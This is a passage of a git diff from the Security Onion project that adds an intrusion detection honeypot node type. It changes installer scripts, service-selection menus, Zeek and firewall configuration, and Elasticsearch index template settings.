/usr/local/bin/zeek_clean @@ -209,6 +217,7 @@ so-zeek: - /nsm/zeek/extracted:/nsm/zeek/extracted:rw - /opt/so/conf/zeek/local.zeek:/opt/zeek/share/zeek/site/local.zeek:ro - /opt/so/conf/zeek/node.cfg:/opt/zeek/etc/node.cfg:ro + - /opt/so/conf/zeek/networks.cfg:/opt/zeek/etc/networks.cfg:ro - /opt/so/conf/zeek/zeekctl.cfg:/opt/zeek/etc/zeekctl.cfg:ro - /opt/so/conf/zeek/policy/securityonion:/opt/zeek/share/zeek/policy/securityonion:ro - /opt/so/conf/zeek/policy/custom:/opt/zeek/share/zeek/policy/custom:ro @@ -219,6 +228,7 @@ so-zeek: - watch: - file: /opt/so/conf/zeek/local.zeek - file: /opt/so/conf/zeek/node.cfg + - file: /opt/so/conf/zeek/networks.cfg - file: /opt/so/conf/zeek/zeekctl.cfg - file: /opt/so/conf/zeek/policy - file: /opt/so/conf/zeek/bpf diff --git a/setup/so-functions b/setup/so-functions index 996620336..b71648fbe 100755 --- a/setup/so-functions +++ b/setup/so-functions @@ -447,6 +447,25 @@ collect_hostname_validate() { done } +collect_idh_services() { + whiptail_idh_services + + case "$idh_services" in + 'Linux Webserver (NAS Skin)') + idh_services=("HTTP" "FTP" "SSH") + ;; + 'MySQL Server') + idh_services=("MYSQL" "SSH") + ;; + 'MSSQL Server') + idh_services=("MSSQL" "VNC") + ;; + 'Custom') + whiptail_idh_services_custom + ;; + esac +} + collect_int_ip_mask() { whiptail_management_interface_ip_mask @@ -864,6 +883,7 @@ check_requirements() { req_cores=4 if [[ "$node_type" == 'sensor' ]]; then req_nics=2; else req_nics=1; fi if [[ "$node_type" == 'fleet' ]]; then req_mem=4; fi + if [[ "$node_type" == 'idh' ]]; then req_mem=1 req_cores=2; fi elif [[ "$standalone_or_dist" == 'import' ]]; then req_mem=4 req_cores=2 @@ -929,7 +949,7 @@ check_sos_appliance() { compare_main_nic_ip() { if ! [[ $MNIC =~ ^(tun|wg|vpn).*$ ]]; then if [[ "$MAINIP" != "$MNIC_IP" ]]; then - error "[ERROR] Main gateway ($MAINIP) does not match ip address of managament NIC ($MNIC_IP)." + error "[ERROR] Main gateway ($MAINIP) does not match ip address of management NIC ($MNIC_IP)." read -r -d '' message <<- EOM The IP being routed by Linux is not the IP address assigned to the management interface ($MNIC). @@ -1223,12 +1243,12 @@ docker_install() { if [ $OSVER == "bionic" ]; then service docker stop apt -y purge docker-ce docker-ce-cli docker-ce-rootless-extras - retry 50 10 "apt-get -y install docker-ce=5:20.10.5~3-0~ubuntu-bionic docker-ce-cli=5:20.10.5~3-0~ubuntu-bionic docker-ce-rootless-extras=5:20.10.5~3-0~ubuntu-bionic python3-docker" >> "$setup_log" 2>&1 || exit 1 + retry 50 10 "apt-get -y install --allow-downgrades docker-ce=5:20.10.5~3-0~ubuntu-bionic docker-ce-cli=5:20.10.5~3-0~ubuntu-bionic docker-ce-rootless-extras=5:20.10.5~3-0~ubuntu-bionic python3-docker" >> "$setup_log" 2>&1 || exit 1 apt-mark hold docker-ce docker-ce-cli docker-ce-rootless-extras elif [ $OSVER == "focal" ]; then service docker stop apt -y purge docker-ce docker-ce-cli docker-ce-rootless-extras - retry 50 10 "apt-get -y install docker-ce=5:20.10.8~3-0~ubuntu-focal docker-ce-cli=5:20.10.8~3-0~ubuntu-focal docker-ce-rootless-extras=5:20.10.8~3-0~ubuntu-focal python3-docker" >> "$setup_log" 2>&1 || exit 1 + retry 50 10 "apt-get -y install --allow-downgrades docker-ce=5:20.10.8~3-0~ubuntu-focal docker-ce-cli=5:20.10.8~3-0~ubuntu-focal docker-ce-rootless-extras=5:20.10.8~3-0~ubuntu-focal python3-docker" >> "$setup_log" 2>&1 || exit 1 apt-mark hold docker-ce docker-ce-cli docker-ce-rootless-extras fi fi @@ -1521,7 +1541,7 @@ get_redirect() { get_minion_type() { local minion_type case "$install_type" in - 'EVAL' | 'MANAGERSEARCH' | 'MANAGER' | 'SENSOR' | 'HEAVYNODE' | 'FLEET' | 'STANDALONE' | 'IMPORT' | 'RECEIVER') + 'EVAL' | 'MANAGERSEARCH' | 'MANAGER' | 'SENSOR' | 'HEAVYNODE' | 'FLEET' | 'IDH' | 'STANDALONE' | 'IMPORT' | 'RECEIVER') minion_type=$(echo "$install_type" | tr '[:upper:]' '[:lower:]') ;; 'HELIXSENSOR') @@ -1809,52 +1829,101 @@ manager_global() { " cluster_routing_allocation_disk_watermark_flood_stage: '98%'"\ " index_settings:"\ " so-beats:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ + " warm: 7"\ + " close: 30"\ + " delete: 365"\ + " so-endgame:"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-firewall:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-flow:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-ids:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-import:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 73000"\ " delete: 73001"\ " so-osquery:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-ossec:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-strelka:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-syslog:"\ - " shards: 1"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 30"\ " delete: 365"\ " so-zeek:"\ - " shards: 5"\ + " index_template:"\ + " template:"\ + " settings:"\ + " index:"\ + " number_of_shards: 1"\ " warm: 7"\ " close: 45"\ " delete: 365"\ @@ -2619,7 +2688,7 @@ set_initial_firewall_policy() { $default_salt_dir/salt/common/tools/sbin/so-firewall includehost minion "$MAINIP" $default_salt_dir/salt/common/tools/sbin/so-firewall --apply includehost sensor "$MAINIP" ;; - 'SENSOR' | 'SEARCHNODE' | 'HEAVYNODE' | 'FLEET' | 'RECEIVER') + 'SENSOR' | 'SEARCHNODE' | 'HEAVYNODE' | 'FLEET' | 'IDH' | 'RECEIVER') $sshcmd -i /root/.ssh/so.key soremote@"$MSRV" sudo $default_salt_dir/salt/common/tools/sbin/so-firewall includehost minion "$MAINIP" case "$install_type" in 'SENSOR') @@ -2639,6 +2708,9 @@ set_initial_firewall_policy() { 'FLEET') $sshcmd -i /root/.ssh/so.key soremote@"$MSRV" sudo $default_salt_dir/salt/common/tools/sbin/so-firewall --apply includehost beats_endpoint_ssl "$MAINIP" ;; + 'IDH') + $sshcmd -i /root/.ssh/so.key soremote@"$MSRV" sudo $default_salt_dir/salt/common/tools/sbin/so-firewall --apply includehost beats_endpoint_ssl "$MAINIP" + ;; 'RECEIVER') $sshcmd -i /root/.ssh/so.key soremote@"$MSRV" sudo $default_salt_dir/salt/common/tools/sbin/so-firewall --apply includehost receiver "$MAINIP" $sshcmd -i /root/.ssh/so.key soremote@"$MSRV" sudo $default_salt_dir/pillar/data/addtotab.sh receiverstab "$MINION_ID" "$MAINIP" @@ -2826,6 +2898,17 @@ wait_for_salt_minion() { retry 60 5 "journalctl -u salt-minion.service | grep 'Minion is ready to receive requests'" >> "$setup_log" 2>&1 || exit 1 } +write_out_idh_services() { + local pillar_file="$temp_install_dir"/pillar/minions/"$MINION_ID".sls + + printf '%s\n'\ + "idh:"\ + " services:" >> "$pillar_file" + for service in ${idh_services[@]}; do + echo " - $service" | tr '[:upper:]' '[:lower:]' >> "$pillar_file" + done +} + # Enable Zeek Logs zeek_logs_enabled() { echo "Enabling Zeek Logs" >> "$setup_log" 2>&1 diff --git a/setup/so-setup b/setup/so-setup index 90e57646d..9579df79d 100755 --- a/setup/so-setup +++ b/setup/so-setup @@ -251,6 +251,10 @@ elif [ "$install_type" = 'FLEET' ]; then is_minion=true is_fleet_standalone=true OSQUERY=1 +elif [ "$install_type" = 'IDH' ]; then + is_minion=true + is_idh=true + IDH=1 elif [ "$install_type" = 'HELIXSENSOR' ]; then is_helix=true elif [ "$install_type" = 'IMPORT' ]; then @@ -267,11 +271,17 @@ if [[ $is_manager || $is_import ]]; then check_elastic_license fi +if [[ $is_idh ]]; then + collect_idh_services +fi + if ! [[ -f $install_opt_file ]]; then if [[ $is_manager && $is_sensor ]]; then check_requirements "standalone" elif [[ $is_fleet_standalone ]]; then check_requirements "dist" "fleet" + elif [[ $is_idh ]]; then + check_requirements "dist" "idh" elif [[ $is_sensor && ! $is_eval ]]; then check_requirements "dist" "sensor" elif [[ $is_distmanager || $is_minion ]] && [[ ! $is_import ]]; then @@ -742,6 +752,12 @@ echo "1" > /root/accept_changes logstash_pillar >> $setup_log 2>&1 fi + if [[ $is_idh ]]; then + # Write out services to minion pillar file + set_progress_str 19 'Generating IDH services pillar' + write_out_idh_services + fi + if [[ $is_minion ]]; then set_progress_str 20 'Accepting Salt key on manager' @@ -805,7 +821,7 @@ echo "1" > /root/accept_changes set_progress_str 62 "$(print_salt_state_apply 'common')" salt-call state.apply -l info common >> $setup_log 2>&1 - if [[ ! $is_helix && ! $is_receiver ]]; then + if [[ ! $is_helix && ! $is_receiver && ! $is_idh ]]; then set_progress_str 62 "$(print_salt_state_apply 'nginx')" salt-call state.apply -l info nginx >> $setup_log 2>&1 fi @@ -910,6 +926,12 @@ echo "1" > /root/accept_changes fi + if [[ $is_idh ]]; then + set_progress_str 79 "$(print_salt_state_apply 'idh')" + salt-call state.apply -l info idh >> $setup_log 2>&1 + + fi + if [[ "$WAZUH" = 1 ]]; then set_progress_str 79 "$(print_salt_state_apply 'wazuh')" salt-call state.apply -l info wazuh >> $setup_log 2>&1 @@ -969,9 +991,8 @@ if [[ $success != 0 ]]; then SO_ERROR=1; fi # Check entire setup log for errors or unexpected salt states and ensure cron jobs are not reporting errors to root's mailbox # Ignore "Status .* was not found" due to output from salt http.query or http.wait_for_successful_query states used with retry # Uncaught exception, closing connection|Exception in callback None - this is seen during influxdb / http.wait_for_successful_query state for ubuntu reinstall -if grep -E "ERROR|Result: False" $setup_log | grep -qvE "Status .* was not found|An exception occurred in this state|Uncaught exception, closing connection|Exception in callback None" || [[ -s /var/spool/mail/root && "$setup_type" == "iso" ]]; then +if grep -E "ERROR|Result: False" $setup_log | grep -qvE "Status .* was not found|An exception occurred in this state|Uncaught exception, closing connection|Exception in callback None|deprecation: ERROR" || [[ -s /var/spool/mail/root && "$setup_type" == "iso" ]]; then SO_ERROR=1 - grep --color=never "ERROR" "$setup_log" | grep -qvE "Status .* was not found|An exception occurred in this state|Uncaught exception, closing connection|Exception in callback None" > "$error_log" fi @@ -1016,7 +1037,7 @@ else echo "Post-installation steps have completed. Awaiting user input to clean up installer." >> $setup_log 2>&1 whiptail_setup_complete - [[ $setup_type != 'iso' ]] && whiptail_ssh_warning + [[ $setup_type != 'iso' && ! $is_idh ]] && whiptail_ssh_warning fi install_cleanup >> "$setup_log" 2>&1 diff --git a/setup/so-whiptail b/setup/so-whiptail index a4c72fb55..c39ec4ff7 100755 --- a/setup/so-whiptail +++ b/setup/so-whiptail @@ -432,6 +432,14 @@ whiptail_end_settings() { Hostname: $HOSTNAME EOM + if [[ $is_idh ]]; then + __append_end_msg "IDH Services Enabled:" + for service in ${idh_services[@]}; do + __append_end_msg "- $service" + done + + fi + [[ -n $NODE_DESCRIPTION ]] && __append_end_msg "Description: $NODE_DESCRIPTION" [[ $is_airgap ]] && __append_end_msg "Airgap: True" @@ -717,6 +725,47 @@ whiptail_homenet_sensor() { export HNSENSOR } + +whiptail_idh_services() { + + [ -n "$TESTING" ] && return + + idh_services=$(whiptail --title "$whiptail_title" --radiolist \ + "\nThe IDH node can mimic many different services.\n\nChoose one of the common options along with their default ports (TCP) or select the Custom option to build a customized set of services." 20 75 5 \ + "Linux Webserver (NAS Skin)" "Apache (80), FTP (21), SSH (22)" ON \ + "MySQL Server" "MySQL (3306), SSH (22)" OFF \ + "MSSQL Server" "Microsoft SQL (1433), VNC (5900)" OFF \ + "Custom" "Select a custom set of services" OFF 3>&1 1>&2 2>&3 ) + + local exitstatus=$? + whiptail_check_exitstatus $exitstatus +} + + +whiptail_idh_services_custom() { + + [ -n "$TESTING" ] && return + + idh_services=$(whiptail --title "$whiptail_title" --checklist \ + "\nThe IDH node can mimic many different services.\n\nChoose one or more of the following services along with their default ports. Some services have additional configuration options, please consult the documentation for further information." 25 75 8 \ + "FTP" " TCP/21, Additional Configuration Available " OFF \ + "Git" " TCP/9418 " OFF \ + "HTTP" " TCP/80, Additional Configuration Available " OFF \ + "HTTPPROXY" " TCP/8080, Additional Configuration Available " OFF \ + "MSSQL" " TCP/1433 " OFF \ + "MySQL" " TCP/3306, Additional Configuration Available " OFF \ + "NTP" " UDP/123 " OFF \ + "REDIS" " TCP/6379 " OFF \ + "SNMP" " UDP/161 " OFF \ + "SSH" " TCP/22, Additional Configuration Available " OFF \ + "TELNET" " TCP/23, Additional Configuration Available " OFF \ + "TFTP" " UDP/69 " OFF \ + "VNC" " TCP/5900 " OFF 3>&1 1>&2 2>&3 ) + + local exitstatus=$? + whiptail_check_exitstatus $exitstatus +} + whiptail_install_type() { [ -n "$TESTING" ] && return @@ -791,18 +840,17 @@ whiptail_install_type_dist_existing() { local node_msg read -r -d '' node_msg <<- EOM - Choose a distributed node type to join to an existing grid. - - See https://docs.securityonion.net/architecture for details. + Choose a distributed node type to join to an existing grid. See https://docs.securityonion.net/architecture for details. Note: Heavy nodes (HEAVYNODE) are NOT recommended for most users. EOM - install_type=$(whiptail --title "$whiptail_title" --radiolist "$node_msg" 19 58 5 \ + install_type=$(whiptail --title "$whiptail_title" --radiolist "$node_msg" 19 58 6 \ "SENSOR" "Create a forward only sensor " ON \ "SEARCHNODE" "Add a search node with parsing " OFF \ "FLEET" "Dedicated Fleet Osquery Node " OFF \ "HEAVYNODE" "Sensor + Search Node " OFF \ + "IDH" "Intrusion Detection Honeypot Node " OFF \ "RECEIVER" "Receiver Node " OFF \ 3>&1 1>&2 2>&3 # "HOTNODE" "Add Hot Node (Uses Elastic Clustering)" OFF \ # TODO @@ -1736,6 +1784,8 @@ whiptail_setup_complete() { local sentence_prefix="Run so-allow after reboot to access" fi local accessMessage="\n${sentence_prefix} the web interface at: https://${REDIRECTIT}\n" + elif [[ $is_idh ]]; then + local accessMessage="\nSSH for this node has been moved to TCP/2222, accessible only from the Manager node.\n" else local accessMessage="" fi diff --git a/sigs/securityonion-2.3.110-20220309.iso.sig b/sigs/securityonion-2.3.110-20220309.iso.sig new file mode 100644 index 000000000..0750f4b4b Binary files /dev/null and b/sigs/securityonion-2.3.110-20220309.iso.sig differ